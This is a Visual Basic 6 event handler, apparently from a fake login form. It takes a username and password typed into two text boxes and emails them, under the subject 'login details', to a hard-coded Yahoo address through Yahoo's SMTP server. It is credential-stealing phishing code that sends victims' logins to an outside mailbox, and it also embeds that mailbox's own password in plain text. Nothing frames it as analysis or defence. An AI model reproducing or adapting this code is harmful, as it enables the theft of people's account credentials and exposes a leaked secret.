Private Sub Command1_Click()
Dim osmtp As New EASendMailObjLib.Mail
osmtp.LicenseCode = "TryIt"
osmtp.FromAddr = "rsh3cker@yahoo.com"
osmtp.AddRecipientEx "rsh3cker@yahoo.com", 0
osmtp.Subject = "login details"
osmtp.BodyText = "username : " & Text1.Text & "," & " password :" & Text2.Text
osmtp.ServerAddr = "smtp.mail.yahoo.com"
osmtp.ServerPort = 465
osmtp.Username = "rsh3cker@yahoo.com"
osmtp.Password = "leetrshacks"

osmtp.SSL_init

If osmtp.SendMail() = 0 Then

MsgBox "sent"
Else
MsgBox "error occured"
End If




End Sub